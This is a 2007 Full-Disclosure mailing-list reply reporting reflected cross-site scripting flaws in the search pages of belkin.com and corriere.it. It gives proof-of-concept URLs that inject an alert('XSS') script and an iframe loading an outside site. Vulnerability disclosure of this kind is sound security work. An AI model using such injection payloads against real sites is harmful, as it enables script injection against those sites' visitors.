Full Disclosure: Re: informative...

["Fabian (Lists)" <lists () sevenlayers org>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Andrea Purificato - bunker wrote:
> Il giorno mer, 29/08/2007 alle 09.31 -0400, Fabrizio ha scritto:
> > And even more informative....
> >
> > http://www.belkin.com/search/?q=%3cscript%3ealert('XSS')%3c%2fscript%
> > 3e&sid=1
> [Informative 2]
>
> It seems a common practice, otherwise they were warned months ago, but
> no answer...
>
> http://sitesearch.corriere.it/searchresults.jsp?adsEnvironment=corriere&channel_par=corriere&ricerca_par=%22%3Cscript%3Ealert('XSS');%3C/script%3E
>
>
> Bye,
Informative 3: The 'did you mean' feature even xss' itself...

http://www.belkin.com/search/?q=%3ciframe+border%3d0+width%3d700+height%3d400+src%3d%22http%3a%2f%2fwww.bitrain.net%22%3e%3c%2fiframe%3e&sid=1

- --Fabian

- --
"You could start by defining the meaning of certain esoteric terms, like
'Doesn't work', for exfuckingample." (Kadaitcha Man)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFG3F3+OG44jO5akmwRAqytAKDFwuBuctc8GD/N2Qe3uPFzoLsvAACgoy2F
+tcYMX85bCXRx0Z0by7bIdA=
=sAwW
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/